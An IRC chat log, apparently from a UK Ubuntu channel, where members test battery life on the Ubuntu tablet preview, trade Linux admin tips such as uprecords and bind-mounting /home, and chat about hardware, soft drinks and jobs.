<Laney> what are you trying to test?
<popey> just seeing how long it lasts
<Laney> battery life?
<popey> yeah
<Laney> ah
<neuro> how long so far?
<Laney> is this what gets released tomorrow or something else?
<popey> yes
<popey> 10:22:57 < popey> been pinging it all night since midnight
<popey> ^ neuro
<mungbean> screen off?
<popey> yes
<neuro> doh, soz
<popey> will test again with screen on later
<neuro> maybe try and leave it running a video stream or something, like bbc news?
<mungbean> nexus 7 is below recommended specs i notice
<mungbean> 1gb ram vs 2gb
<popey> yeah
<popey> but lots of people have them, so handy for testing
<mungbean> i wonder if there's any chance one day it might work on my touchpad
<AlanBell> that is fine from the OEM perspective
<bigcalm> Laney: never give popey a yes/no question
<AlanBell> they don't want something that is recommended to run on current hardware
<AlanBell> they want everyone to have a reason to buy new hardware
<neuro> i could be tempted to blow the image onto mine, don't really use mine for much
<neuro> popey: hmm, it seems i'm one to talk about access point speeds
<neuro> 4 bytes from 192.168.2.37: icmp_seq=38 ttl=64 time=219.856 ms
<neuro> 64 bytes from 192.168.2.37: icmp_seq=39 ttl=64 time=37.454 ms
<bigcalm> Would be nice if it worked on the Xoom
<neuro> 64 bytes from 192.168.2.37: icmp_seq=40 ttl=64 time=61.066 ms
<Laney> it wasn't but he answered it as such
<neuro> that's my ipad from a wired mac
<neuro> vaaaaaariable
<neuro> (and yes, i didn't copy/paste the '6' at the start of the first line, it's not an weird 4 byte ping)
<bigcalm> Laney: rather like asking if somebody would like tea or coffee and them saying yes :)
<neuro> YES, I WOULD LIKE TEA OR COFFEE
<bigcalm> I need tea or coffee
<bigcalm> Just not sure which
<Laney> then they get a smack in the chops
<Laney> :P
<bigcalm> I couldn't do that to popey. He might have 2nd thoughts about performing a service for me
<popey> we should install uptimed on peoples phones
<popey> http://paste.ubuntu.com/1689592/
<ali1234> lol
<ali1234> my uptime was 29 days until xfce went crazy last night
<popey> http://paste.ubuntu.com/1689596/  minus ansi rubbish
<BigRedS> oh wow. not only did someone write that, they got it into debian
 * BigRedS installs it everywhere
<popey> :D
<bigcalm> Compiz still has a habit of freezing but not crashing on me
<bigcalm> Actually locking up the whole system enough that I can't get to a tty but the mouse still moves and Spotify keeps playing
<AlanBell> so how does one use uptimed?
<daubers> one does not simply use uptimed
<daubers> or walk into mordor
<bigcalm> sudo make me a cup of tea
<BigRedS> The important part is getting the daemon running. getting data out of its db is an exercise that can be left for later
<AlanBell> "uprecords" is the answer I was looking for
<bigcalm> AlanBell: ta
<bigcalm> Just installed it on 6 machines
 * AlanBell will install it on a raspberry pi shortly for a customer project
<popey> http://paste.ubuntu.com/1689660/  <- uprecords on my VPS âº
<popey> maths looks broken
<popey>   down   -540 days, -16:-37 | since                     Wed Apr 25 00:31:12 2007
<AlanBell> daubers: http://www.raspberrypi.org/archives/3291
<daubers> AlanBell: Saw that :)
<daubers> AlanBell: Nottingham Hackspace is _hug_ in terms of floorspace (and membership compared to Reading)
<daubers> s/_hug_/_huge_
<daubers> AlanBell: Wait till you see the floorplan for Reading Hackspace 2.0 :) It's _much_ better. We're just fundraising and waiting for the lawyers now
<AlanBell> yay
<popey> AlanBell: the broken link you found yesterday is now fixed
 * AlanBell still thinks a hackspace should turn a profit
<popey> thank you
<AlanBell> popey: cool
 * AlanBell is teh awesome at finding broken links in Canonical press releases
<neuro> i just sent a tweet to This Morning
<neuro> i feel dirty
<Laney> we should have a press release testsuite
<AlanBell> a slightly better website change deployment process would probably be a good thing
<daubers> AlanBell: Theoretically yes :) That is the aim. You kind of have to spend money to make money when you start though.
<daubers> though the profit goes back into tools and such like (as we're a non-profit)
<AlanBell> yeah, most things need investment to start
<daubers> We nearly broke even in the current Hackspace until they changed the rent arrangements
<daubers> hence the move
<neuro> bloomin' landlords
<neuro> yikes, ebuyer are doing 7200rpm 4TB deathstars for 160 quid!
<neuro> 4TB!!
<popey> ooooh
 * popey imagines replacing all 12 2TB disks in his btrfs array with 4TB disks
<popey> Muhahahahahahahaaaaaa
<neuro> yum
<neuro> http://www.ebuyer.com/393234-hitachi-4tb-7k4000-desktar-hard-drive-hds724040ale640
<neuro> promo code TOPDEAL at checkout brings the price down to 159.99
<neuro> popey: what you do have your array in, a n40l perchance?
<popey> n36l
<neuro> do you have the "NO HOT SWAP" stickers on the caddies? I do on my n40
<popey> no
<popey> and I have hot swapped
<neuro> interesting
<popey> recently one disk dropped out of the array
<neuro> i wonder if they've either downgraded the backplane or it's just a "we're not sure you should do this so we'll tell you not to" thing
<popey> so I unmounted it, yanked 4 disks out, swapped them around and re-inserted, remounted, all fine
<popey> maybe it doesn't work on windows âº
<neuro> good point
<neuro> i haven't tested it because i only have two drives (250GB root, 2TB data)
<neuro> i'm saying "good point" a lot this morning
<neuro> it's a lovely little machine, just a shame they skimped on the brcm nic
<neuro> it doesn't do jumbo :((
<neuro> it's a lovely little machine though
<popey> psu went in one â¹
<neuro> o rly
<popey> so now I have a dead one
<popey> had to swap around to make a living one
<popey> glad I had a second because the PSu isn't cheap
<popey> or easy to get
<neuro> frankenserver \o/
<neuro> probably cheaper just to buy one for spares :)
<neuro> i had a facepalm moment with mine though
<neuro> and it wasn't anything to do with the machine
<neuro> i forgot to send off my cash back form :(
<bigcalm> Doh
<bigcalm> It took a _long_ time to get my cash back back
<neuro> speaking of doh
<neuro> movie mix are showing D.A.R.Y.L.!!!
<bigcalm> Goodness
<neuro> probably one of the best additions to freeview in ages
<popey> anyone got any cool "command line loves" for @uupc?
<neuro> i found vmxtool this morning
<neuro> handy for converting ova VMs to vmx
<popey> (other than uprecords which I already added)
<neuro> so makes life easier migrating virtualbox VMs to esxi
<popey> neat
<neuro> http://communities.vmware.com/community/vmtn/server/vsphere/automationtools/ovf
<popey> prefer stuff that's in the repo and not behind some manky sign up page â¹
<neuro> ooOOOOoooo!
<popey> http://handbag.popey.com/ I know
<popey> âº
<neuro> tch, ovftool it's called, not vmxtool
<shauno> vmrun is my pet crush for vmware at the moment.  give me some command-line love for the desktop versions (sans Player)
<SuperMatt> popey: I'm shocked that doesn't pull random handbag images from google
<shauno> random handbags would be inappropriate.  they have to match his shoes
<SuperMatt> oh of course
<SuperMatt> how silly of me
<neuro> lol
<bigcalm> Bwuhaha
<popey> heh, I can hear neuro doing a "tch" in a scotch accent
<neuro> :)
<neuro> if this were any other channel, you'd be getting some stern language from me for inappropriate use of "scotch"
 * bigcalm relents and orders a new ps2->usb converter. Really wish I knew where my existing one went
<popey> :D
<Myrtti> scotch egg
<Myrtti> scotch broth
<popey> isnt it "scotched egg"
<Myrtti> weird word the more it is repeated
<neuro> Myrtti: it's not "scotchman" though, is it?
<Dave2> maybe in popey land
<Myrtti> even sounds wrong
<popey> scottsish
<bigcalm> popey: an egg covered in tape?
<neuro> tartlet
<popey> he's scotts... ish
<neuro> tartlet
<neuro> tartlet
<neuro> the word has lost all meaning
<Dave2> scotch tartlet?
<neuro> http://www.youtube.com/watch?v=WjzyAHKYJ8M
<bigcalm> Hehe
<davmor2> neuro: a tartlet is a scented wax cake that is put in an oil burner and heated with a tart burner or tealight as we call them :D
<davmor2> morning all
<neuro> wat?
<neuro> just saw this on ze tv ... http://www.youtube.com/watch?v=M5OkA-b8pkE ... i love barr's ads
<popey> can you translate it
<neuro> i do hope you're not serious :)
<popey> there were bits I didnt get
<popey> ten heeds?
<neuro> tin heads
<popey> he's got bite?
<neuro> think you nailed that one
<popey> "he looks like me.. " the next line I had to see 3 times.. "that is you"
<neuro> i am disappointed in you :)
<mgdm> as am I
<mgdm> :)
<neuro> mgdm: what's your favourite barr's flavour (except irn bru)
<neuro> the raspberry is particularly awesome
<mungbean> what is there? tizer and irn bru?
<neuro> but i found the apple very sour
<neuro> mungbean: did you watch the youtube vid?
<neuro> http://www.agbarr.co.uk/ces_brands.nsf/brands/brands-barr.html
<mgdm> neuro: does red kola count?
<mungbean> no, i am in open plan orifice
<neuro> mgdm: of course :)
<mgdm> neuro: then that :-) Though I've not tried a couple of the other ones
<mgdm> I might need to do some research next time I'm in a shop...
<neuro> all of them are available in can form
<bigcalm> Is Barr required drinking north of the border?
<neuro> bigcalm: i think there's possibly a bylaw or ordinance or something requiring each citizen to make one A.G. Barr's drinks purchase per year
<mungbean> just watched it
<mungbean> i love ginger beer. not enough pubs sell it
<neuro> but they make good drinks (appleade and that manky ginger beer-alike irn bru thing from a year or two ago)
<neuro> so being forced to buy wouldn't be necessarily a bad thing
<neuro> would defo recommend the lemonade, cherryade, rasperryade and the red kola
<neuro> pineappleade is pretty good too
<BigRedS> mungbean: I thought it was everywhere these days?
<BigRedS> All my friends seem to always be drinking Crabbies
<neuro> I DO NOT UNDERSTAND VISITING PUB AND DRINKING NON-ALCOHOLIC BEVERAGE
<neuro> (actually, that's a lie in the interests of comedy, as I usually end up driving to pubs)
<mungbean> alcohol does not seem to agree with me anymore
<ali1234> what is red kola?
<mungbean> gives me instant hangover
<cliftonts> hey, does anyone know when all these extra scopes are supposed to be added to 13.04?
<cliftonts> I've just installed it and was a little surprised it's not showing any extra results in the dash
<BigRedS> neuro: Crabbies is alcoholic ginger beer
<BigRedS> but I do it all the time; in those pubs I used to despise for selling coffe
<neuro> BigRedS: d'oh!
<BigRedS> now I go there and drink coffee
<neuro> hehe
<BigRedS> I feel terribly old
<neuro> it's a "i still want to be social" thing
<BigRedS> nah, it's that I don't feel hip enough to work from Starbucks
<neuro> ali1234: it's a red drink - http://en.wikipedia.org/wiki/Red_Kola
<ali1234> is it like tizer?
<neuro> it's very tasty, has a wee nip to it
<neuro> erm, sort of
<bigcalm> Communist cola?
<mungbean> fentimans also do alcoholic one
<neuro> bear in mind that the Barr's drinks we get up here are different from the ones you get in engerland
<mungbean> i've only ever had the non alco one though
<cliftonts> guess everyone's busy then
<neuro> the stuff that's bottled in england uses harder water (obviouslY)
<cliftonts> AlanBell: Anyone home today?
<neuro> and you don't get barr's drinks in 750ml glass bottles
<mungbean> hard water is more tasty
<neuro> lies
<mungbean> nicer
<neuro> when i worked in chelmsford, i ended up buying 2 litre bottles of volvic for 4 months
<neuro> even for brushing teeth
<bigcalm> It'll put fur on your kidneys
<neuro> scottish water is legendary
<neuro> tap water is very drinkable, none of this filter stuff you have to do down south
<mgdm> I still prefer Stornoway's water to Glasgow's. But then, that's where I grew up
<bigcalm> We don't filter the hard water we get in Shropshire. Have to descale the kettle a lot though
<bigcalm> Almost wrote heavy water. I need to break that habbit
<bigcalm> habit
<Myrtti> we filter and still need to boil vinegary water every now and then
<BigRedS> "Going to do a fire drill in a few minutes; you might want to put some shoes on"
<BigRedS> point missed?
<bigcalm> Haha
<bigcalm> Just a little
<MartijnVdS> BigRedS: They're going to make holes in a fire? cool :)
<bigcalm> We used to get warnings in my old job
<BigRedS> I used to get warnings in m y old job 'cause I was the one who triggered the alarm
<mungbean> i was a fire marshall when i worked in the gherkin so i'd get advance warning and get the lift down 5 mins before..
<MartijnVdS> There are <i>signs</i> when there's going to be a drill here, but you never know for sure.
<BigRedS> I always wondered what I'd do if the building actually caught fire, surely I'd hang around for a bit and then turn the bells off?
<mungbean> otherwise 26 flights of stairs stuck behind fat blokes 2 abreast
<mungbean> talking about golf
<BigRedS> hahaha
<mungbean> your calves would kil the next day, something to do with only using the muscle one way
<mungbean> just like only ever lowering a weight rather than lifting it again in a gym
<bigcalm> mungbean: abseil down the outside of the building
<mungbean> lifts were better
<mungbean> i tried to resign as fire warden and they didn't let me
<mungbean> resign from a voluntary post
<bigcalm> Cute
<mungbean> so i just abused the privilege
<BigRedS> haha. We used to do that to fire marshalls :)
<BigRedS> "You can stop, but only once someone else is trained up to replace you. Go find a volunteer"
<bigcalm> No other bugger wants the responsibility, so we won't let you give it up
<mungbean> in a real fire,. fire marshalls should just run out as quick as poss like the rest of us
<BigRedS> walk calmly!
<mungbean> in a previous role i sat next to the exit, and although was a fire marshall, i used to get out before the lower floors were even on the stair care
<mungbean> case
<mungbean> thats the trouble in a really taller building, you catch up slower moving lower floors and it takes > 30 mins to get out
<mungbean> yes java, i really want to install the Ask Toolbar and change my search engine
<BigRedS> It was only the other day that it occurred to me why I'd never seen that problem
<BigRedS> I haven't installed Java on Windows for about six years
<bigcalm> Wee, just found a timepicker plugin to go with the jquery-ui datepicker. My job just got a little easier
<mungbean> i have a laptop i need to use for vmware vsphere
<BigRedS> Anyone know if there is a way I can make the ^ operator greedy? so ^something^somethingelse^  replaces *all* the somethings with somethingelse, rather than just the first? I keep overwriting mysql dumps assuming g works for that
<mungbean> now everyone is awake, should i learn python 3.x rather than 2.x?
<jpds> mungbean: Both?
<mgdm> BigRedS: the ^ operator in what?
<BigRedS> oh yeah, bash
<BigRedS> I hate it when people do that :)
<BigRedS> mungbean: Perl!
<mungbean> perl is too obscure
<mungbean> i used to do C programming but have forgotten it all as sysadmin and managemenet took over
<mungbean> thought that python might be fun to learn
<mungbean> by obscure, i mean not-readable code and regularly obfuscated
<BigRedS> so just don't write it badly
<BigRedS> I find it way easier to read Perl than I do Python, but that's probably because I never write Python :)
<BigRedS> anyway, this is one of those pointless arguments... Is Python 3 Python's Perl6 or something? Why not learn the new one?
<neuro> there's some woman on my telly who is saying H as "haitch", and is saying prices of things without using the plural of pound, e.g. "twenty pound"
<mungbean> i thought there was backlash againt python3
<AlanBell> cliftonts didn't stay long
<mungbean> haitch and "sault" instead of salt are a terrible disease
<ali1234> "this haitch cost twenty pound!"
<neuro> wait
<neuro> what's wrong with saying "sault"?
<ali1234> how else would you pronounce it?!!?!?
<AlanBell> mungbean: not really a backlash, just some libraries are not ported yet, like mysqldb which kinda holds back a load of other things
<BigRedS> pft. dbs are overrated. Use flat files
<mungbean> neuro, like sorlt
<neuro> csv ftw
<mungbean> AlanBell: its been out a while though
<AlanBell> mungbean: yeah, it has
<mungbean> hence my question
<AlanBell> you probably don't need to care much
<AlanBell> try starting with python 3, then use python 2 when you get stuck because you need something that isn't there yet
<AlanBell> main difference is that print is now a function
<AlanBell> print "hello world" -> print ("hello world")
<mungbean> as it should be
<AlanBell> yes, and with brackets works in python 2 as well
<mungbean> some bloke in the office has a ridiculous cough that sounds like a dog barking
<ali1234> it doesn't quite work in p2
<MartijnVdS> mungbean: start meowing when he does
<mungbean> h might chase me
<mungbean> its making me feel sick
<mungbean> the office is so loud right now , its like working in a pub
<mungbean> hence the irc activity
<ali1234> drunk people everywhere
<mungbean> ^drunk^stupid then yes :D
<MartijnVdS> is't not even friday
<mgdm> this office is loud, hence I have headphones
<BigRedS> Hm. mysql  Ver 14.12 Distrib 5.0.51 just produced a dump with a feature that mysql  Ver 14.12 Distrib 5.0.51a "doesn't yet support"...
<mungbean> i'm leaving my current job for another piosition in the company but they won't let me leave yet..its a rubbish feeling
<MartijnVdS> BigRedS: what like proper timestamps? ;)
<mgdm> https://twitter.com/Funny_Truth/status/303315399011880961 <-- the headphone code
<BigRedS> MySQL has int fields!
<mungbean> anyone going to the devops london meetup on thurdsay?
<BigRedS> Is this a regular thing? I want to go to a devops meetup to find out what devops is
<mungbean> its semi regular
<mungbean> last time saw loads of geeks who enjoy their job
<mungbean> and free beer and pizza
<BigRedS> Oh!
<mgdm> Hmm, I will be in London then, but I'll be otherwise occupied
<BigRedS> I need to get into devops
<popey> ooh, libreoffice 4 landed in raring
<popey> hm, beta2 maybe
<BigRedS> I'm not in London until the weekend after next, but then I'll be there permanently :)
<mungbean> devops = sysadmins who work for smaller companies and like to automate where poss
<mungbean> and don't really get bogged down with hardware
<BigRedS> devops = ruby devs with root
<BigRedS> as far as I understood
<mungbean> last time the talks were on metrics/monitoring (how to get rid of nagios for something better), and logsnatch
<mungbean> *logstash
<BigRedS> Ah, so it'll be a load of stuff I want to do at work but that they wont lket
<BigRedS> *let me do
<mungbean> yes
<mungbean> to inspire you to get a different job
<mungbean> i also have this for you...
 * AlanBell wonders if that would be a good place to talk about exceptionalemails.com when it is done
<mgdm> mungbean: were there any conclusions about what was better than nagios?
<mungbean> mgdm: yes
<mungbean> hold on , on both counts
<BigRedS> yeah, I looked at devops jobs for a bit; I couldn't understand how they'd want me to join a team to do something involving "development" without mentioning which language they wanted
<mungbean> everybody watch this http://www.youtube.com/watch?v=OU8ihx3nT6I
<mungbean> make time to watch it
<mungbean> it's hard to argue aginst the argument that say if your workplace is lame and you can't fix it, then get another job
<AlanBell> the juju stuff is all about devops apparently
<mungbean> mgdm: watch http://www.slideshare.net/sihil/winning-the-metrics-battle
<mungbean> its the smae talk, without the talking, just the slides
<mgdm> mungbean: ta very much
<mgdm> we have New Relic just now, which is pretty nice
<BigRedS> Ah! Always feels weird watching a video at work about getting a new job
<mgdm> but I still want something that does the 'OMG server down' warnings better
<BigRedS> customers are brilliant for that
<BigRedS> they really make sure you know
<mgdm> heh heh
<bigcalm> AlanBell: who watches the watcher? I hope your service provides 100% reliability :)
<AlanBell> it provides 100% independence of your infrastructure
<AlanBell> which is better than 99.99% reliability on the same infrastructure :)
<bigcalm> AlanBell: as long as your service continues to run without fault
<AlanBell> nope, if my service goes down for an hour, nobody cares
<mungbean> i want a new job but having a new baby hence meh
<bigcalm> AlanBell: if exceptionalemails.com goes down for an hour nobody will care?
<AlanBell> probably not, it might do a few false alarms, it will come back on and emails will get delivered to it that were queued up etc
<AlanBell> the thing is that you don't want to be in the same datacentre as it
<popey> to the cloud!
<AlanBell> and you don't want it alerting an address that is in your monitored infrastructure
<AlanBell> popey: to a different bit of the cloud \o/
<AlanBell> so you are in Amazon euro zone west or whatever they call it, if that goes down, but exceptionalemails.com is in hetzner in germany and it is alerting your gmail address then all is good
<mgdm> AlanBell: that's pretty cool
<AlanBell> when monitoring things independence is more important than reliability
<popey> you should move exceptionalemails.com to australia
<popey> nobody hosts stuff there!
<AlanBell> I was thinking about having it in two places, you could choose where you want your account to be
<AlanBell> so you could make sure you were not sharing a country with it
<popey> I'd like mine on mars please
<popey> I don't want to share a planet with it
 * AlanBell uploads it to the ISS and takes out their comms
<mungbean> AlanBell: not bad idea, but i wouldn't send internal emails like that outside of the company
<AlanBell> mungbean: totally valid concern for some emails, yes
<mungbean> generally my regular ones
<mungbean> logwatch, bacula, etc
<mungbean> fail2ban
<AlanBell> those would be perfect, and I am going to have an option to not store the email content, so it would receive the email, perhaps test it for a few regexes the user wants to scan for, then log the date,time,subject and drop the email
<AlanBell> perhaps keeping the full body of emails that are considered "fails"
<popey> ubuntu tablet still responding to pings
 * popey ponders waking it up to see what the battery gauge says
<jpds> popey: SSH in?
<mungbean> take a photo when u do
<popey> 78%!
<mungbean> wanna see how it looks
<mungbean> or video :P
<mungbean> i've seen the official vid, but thats not very real
 * popey suspends it again
<popey> jpds: I dont have ssh installed
<davmor2> popey: trust you to want it on mars, I mean it could of been anything but you choose a choloate bar ;)
<mungbean> anyone know how i would dismantle this? http://ubuntuone.com/6cpIPA0kt0WLis6ilh1UxC
<mungbean> one is tap on/off, one is hot/cold
<davmor2> mungbean: Sledgehammer?
<mungbean> the on/off one is broken, there's no screw hidden inside either that i can see
<mungbean> i tried twisting the hot/cold too far in case it unscrewed , but no
<davmor2> mungbean: try looking online on the whole the taps ship with the shower unity.  Failing that try turning the handles before you move the to cowls that cover the actual tap part
<mungbean> the shower is no longer sold by wickes :(
<mungbean> the tap part seem to be solid, no rims or caps to take off
<popey> just gave your picture to google image search
<popey> your bathroom looks like a lot of things
<popey> but a shower handle it does not
<mungbean> lol
<mungbean> there's also this one http://ubuntuone.com/5JKzxi09AG4j5zmwaKh7DO
<davmor2> mungbean: wikes might not sell it anymore but they might still hold the instruction manual for it
<mungbean> i'm gonna have the loft out at the weekend
<mungbean> previous owner kept a lot of that stuff
<popey> your shower looks like this pencil sketch of doctor who's sonic screwdriver apparently
<popey> http://25.media.tumblr.com/tumblr_mam66ltKnq1rra8mlo1_500.jpg
<AlanBell> mungbean: is there a screw right at the bottom
<mungbean> google reverse search gives colour matches mostly
<mungbean> AlanBell: nope
<mungbean> the handles unscrew
<mungbean> there may be something inside the smaller circular one but cannot see in there with a torch
<mungbean> foudn a website called showerdoc i might send the pics to
<AlanBell> cool bath toys btw
<davmor2> mungbean: this might give you some clues http://www.ehow.com/video_2329566_replace-shower-valves.html
<mungbean> lol AlanBell
<mungbean> thankfully i was clothed
<mungbean> man, both firefox and chrome show that vid at 3x speed
<popey> works here
<davmor2> mungbean: that might be separate taps so you might want to try and find a mixer one any how
<AlanBell> https://ch.tbe.taleo.net/CH03/ats/careers/requisition.jsp?org=CANONICAL&cws=1&rid=587 canonical are hiring
<AlanBell> well always hiring, but this is for someone who can build the stuff they just demoed
<mungbean> nice to see ubuntu users at citrix ^^
<amayer_> what is it called in 12.04 when i press [Alt] + [Shift] + [Up Arrow]?
<amayer_> it makes it so i can see all windows on the current desktop.
<amayer_> Im trying to get 12.10 to do that but i dont know what to search for because i dont know what its called
<popey> isnt it called "roll up"?
<popey> is it where the window rolls up so you only see the titlebar?
<amayer_> no no.
<amayer_> it shows all windows beside each other.
<Oli> Shade?
<Oli> That's what KDE calls it.
<amayer_> lets say i have 3 applications open. it will fit them all on the screen but smaller. and if you click one it brings it to the front
<amayer_> it spreads them out like this:
<amayer_> http://techgage.com/reviews/gaming/steam_on_linux/steam_linux_ubuntu_06_thumb.jpg
<amayer_> and if you click one it brings it to the front
<Dave2> sounds like the Expo Compiz plugin
<Dave2> this may or may not be current
<Dave2> er, no
<Dave2> Scale
<Dave2> Always get those the wrong way round
<amayer_> i was going to say expo shows all desktops(like workspace switcher)
<BigRedS> that's what the windows key does in gnome3, if that's any help..
<directhex> ... huh
<directhex> i have a user whose laptop has become unresponsive and unusable since updating to 3.2.0-38
<directhex> 3.2.0-36 is fine
<amayer_> Dave2: YES!!! it is called scale.
<amayer_> and they switch the shortcut key to [super] + [w]
<mungbean> 386 processor directhex :P
<mgdm> when was it 386 got removed?
<mungbean> anyone know how i'd fix this theme problem(?) with LO calc http://ubuntuone.com/7TpmmBErgD3ewzfLqZvrXF
<mungbean> look at the sheet tabs
<popey> amayer_: it's always been super+w
<popey> at least since 12.04, maybe before
<amayer_> popey: on 12.04 you could press [alt] + [shift] + [up arrow] and it would do the same thing
<popey> interesting
<amayer_> i guess they removed it in 12.10 because <super>w did the same thing
<popey> probably got lost in the migration from gconf to gsettings
<directhex> mungbean, well, a core i5, but running an i386 kernel
<amayer_> 12.10 doesnt use gconf?
<jpds> amayer_: no.
<amayer_> hm... does gconf-editor work with gsettings?
<amayer_> i used that to check the key association for scale
<jpds> amayer_: dconf-editor.
<amayer_> i got gconf-editor out of the repo and it showed me all the compiz settings i was looking for
<popey> you need dconf-editor
<amayer_> ill switch it out. is gconf editor not supposed to work at all/should it be in the repo?
<popey> there are some legacy things that still use gconf
<popey> but compiz switched to dconf/gsettings
<amayer_> jpds: popey: everyone: thank you for your help.
<amayer_> ive been using ubuntu as my daily driver(work & home) since 11.04 beta release. i see i still have much to learn.
<amayer_> im the only one in my office who uses GNU/Linux
<jpds> Not many people who Linux where I work.
<jpds> Oh wait...
<ali1234> "A PKCS #11 module returned CKR_DEVICE_ERROR, indicating that a problem has occurred with the token or slot."
<ali1234> never seen that one befoe
<amayer_> Please Insert 1 Credit
<mungbean> having some problems having my home space in /data/home instead of /home/mungbean
<mungbean> any suggestions other than copying /data/home/mungbean -> /data/mungbean then remounting?
<mungbean> ln -s /data/home /home doesn't fix problems
<amayer_> I have another question:
<amayer_> why do I get updates for "English language pack for Firefox" "firefox-locale-en" if i dont have firefox installed
<jpds> amayer_: Because language-pack-en-base depends on it.
<shauno> mungbean: a bind mount?  mount --bind /data/home /home
<BigRedS> mungbean: what does    ls -ald /home   say?
<amayer_> so its used for the general language pack for ubuntu. not just for firefox. right?
<mungbean> lrwxrwxrwx 1 root root 10 Jan 21 14:30 /home -> /data/home
<mungbean> shauno, looks like a plan
<shauno> just remember to make /home a directory instead of a symlink first, else you'll be trying to mount it to itself, which .. well I'm not sure I'd try
<jpds> amayer_: Yes.
<mungbean> shauno: create a black hole and end the worl
<shauno> I can never guess if it'll eat your children, or actually work.  with a strong preference to not going there in the first place
<popey> ali1234: http://www.old-dalby.com/images/Asfordby-Token%20machine.jpg
<popey> real tokens and slots
<mungbean> shauno: works :D
<mungbean> although not sure how to use it in /etc/fstab
<shauno> bind goes as the fs type, the rest is as normal
<shauno> wait no, none as the fs, bind as an option
<mungbean> got it
<mungbean> /data/home /home	bind 	defaults,bind	0	0
<mungbean> cheers
<popey> czajkowski: what version of vbox you using?
<czajkowski> popey: 4.1.22
<popey> ooh, ye olde
<czajkowski> popey: one that is currently torturing me and davmor2
 * popey uses current one from virtualbox.org
<popey> 4.2.6
<czajkowski> was the one I just apt-get installed yesterday
<czajkowski> and it's currently making mine and davmor2 life a hell
<czajkowski> gah
<czajkowski> bbiab
<davmor2> popey: yeah that was my next plan if this continued to play up
<czajkowski> davmor2: does that mean I'm going to have to make another 4 VMs
<davmor2> nope
<czajkowski> that;s ok so
<popey> i have been using the one from virtualbox for months for ubuntu testing
<SuperMatt> I have an important question: when do we get this lock screen in the desktop version? http://www.ubuntu.com/static/u/img/devices/tablet-branded-and-apps.png
<czajkowski> davmor2: I cna log into quantal32 just no precise32
<davmor2> ah might just be a naff iso
<bigcalm> SuperMatt: how is that an important question? :)
<popey> It's _a_ question!
<kvarley> Does anybody know what the image that is being released tomorrow for the Nexus 7 requires in  terms of storage space?
<kvarley> Can it be run on the 16GB Nexus 7 or will it have to be a 32 GB ?
<popey> i have a 16GB Nexus
<kvarley> popey: Does it / will it run?
<popey> its running on mine now
<kvarley> :)
<cr0w13y> I have an 8GB nexus. I'm sure it can run on even less than that.
<popey> its a preview though
<davmor2> kvarley: I have a 16gb running Ubuntu now
 * awilkins keeps taking the tablets
<davmor2> Oi awilkins get back here with my tablet don't make me hurt you
<kvarley> It's really hard to know whether to pick up a Nexus 7 or 10 or wait until newer hardware comes out, after the phone/tablet OS venture has become more nippy and stable
<awilkins> Ooh, Google PLay has the Nexus 4 "ships in less than one week"
<awilkins> The 16GB storage maximum and no SD slot frustrate me though
<popey> well what we're releasing tomorrow is a developer preview
<popey> i.e. not finished
<kvarley> awilkins: I'm in the same boat as you
<kvarley> No external storage slot is just madness
<kvarley> popey: Ok :)
<awilkins> kvarley, It's a nice, reasonably priced, handset
<kvarley> Nexus 4 has dropped in price too, less than Â£300 :)
<SuperMatt> I worry that there's going to be a number of people "reviewing" the dev release tomorrow, as if it's the final version
<awilkins> Yeah
<Myrtti> the answer to that frustration is called DLNA/uPnP
<awilkins> I need a new phone
<kvarley> awilkins: I could do with one this year but I'm not in a rush
<awilkins> Myrtti, but DLNA is no good if you're like me and compulsively carry your whole 13GB music collection around
<awilkins> kvarley, I'm still on an N900
<Myrtti> awilkins: Google Music / Spotify released me from that
<awilkins> kvarley, It's starting to show it's age in terms of software and ability
<awilkins> Myrtti, which country are you in?
<Myrtti> UK?
<awilkins> What data plan?
<Myrtti> Three something. You can set both Google Music and Spotify to keep offline versions of your favourite songs.
<kvarley> awilkins: Oh, I'm on a Desire S
<awilkins> kvarley, The wifelet has a Desire Z
<Myrtti> I see no need to carry all of the collection since I don't listen to the whole 20+GB daily
<awilkins> Myrtti, there is that.. I suppose I could just make it cache the top few GB by atime
<awilkins> Myrtti, The occasions on which I would use the phone as a media player are mostly dominated by being on trains with *really* dreadful signal coverage
<awilkins> Like going through the longest rail tunnel in Britain, which is flanked on either side by howling grim moorland of the kind where they shoot werewolf movies.
<awilkins> These phones also use the micro-SIM format, which means I'd have to pester my network to send me a new one, which would be mildly annoying
<Myrtti> I'm tempted to order Nokia's NFC/Bluetooth music receiver MD-310 to hook up to the AV receiver :-( but it is expensive.
 * awilkins wonders if there are NFC hack projects available
 * awilkins has resolved to stop dithering and may just go and order one
<awilkins> As much as my engineers brain hates inefficiency and thus wireless charging, that is a cool looking charger https://play.google.com/store/devices/details/Nexus_4_Wireless_Charger?id=nexus_4_wireless_charger&feature=accessories
<awilkins> And WHY OH WHY are the only Nexus 7 covers in stock _always_ the pink ones.
<popey> yeah
<popey> I have a bot currently poking that page every minute to make sure I know when it's in stock in the UK
<mgdm> hah
 * AlanBell ponders a nexus 10 purchase
<Myrtti> awilkins: http://www.amazon.co.uk/Poetic-HardBack-Protective-Manufacturer-Warranty/dp/B008IEGS9W/ we've got these
<popey> i have one I got in pcworld
<popey> actually, dixons at the airport
<AlanBell> want a play with a nexus 10
<popey> they're quite nice
<popey> way nicer than the nexus 4
<AlanBell> all day battery on it, which is good
<awilkins> Must be the cube law thing
<awilkins> screen size increases by squares, batteries increase by cubes
<awilkins> Encountered an iPad for the first time at length over Christmas
<AlanBell> want one as part of my next generation point of sale plan
<awilkins> Was very impressed with how much endurance it has
<awilkins> Especially given that it was running a full 3D game for much of the day
<awilkins> AlanBell, Next generation POS? Do tell.... (gets out patent notebook)
<awilkins> I used to be impressed by PalmPilot units with an integrated wifi + barcode reader though
<awilkins> thought the potential for medical applications would be great
<AlanBell> well nothing too radical, just having floating tablets doing touchscreen POS with openERP at the back end and getting receipt printing done off something small like a raspberry pi
<AlanBell> I am trying to put together a complete demo set of it, the software isn't quite fully baked yet for doing the esc/pos printer bit
<AlanBell> need to figure out chip n pin too
<AlanBell> want a complete Free Software retail solution
<AlanBell> possibly running Ubuntu on the tablet with html5 openERP POS application
<AlanBell> but I am not sure if it will lend itself to that, we will see
<awilkins> I used to do smartcard dev but never really got as far as Chip&Pin
<AlanBell> customers will probably end up just using android or iOS, but I would like to demo it on Ubuntu
<awilkins> Was mostly the contactless things like Mifare1k
<awilkins> *a WHOLE kilobyte of storage... apart from the overhead*
<ali1234> AlanBell: but will it into bitcoin?
 * awilkins keeps quiet about his plan to use the spare brain capacity of customers to mine bitcoin while the browse the shelves
<AlanBell> bitcoin accepting POS sure, if a customer wants it :)
<popey> 16 hours.. battery at 71%
<clue_h> nice
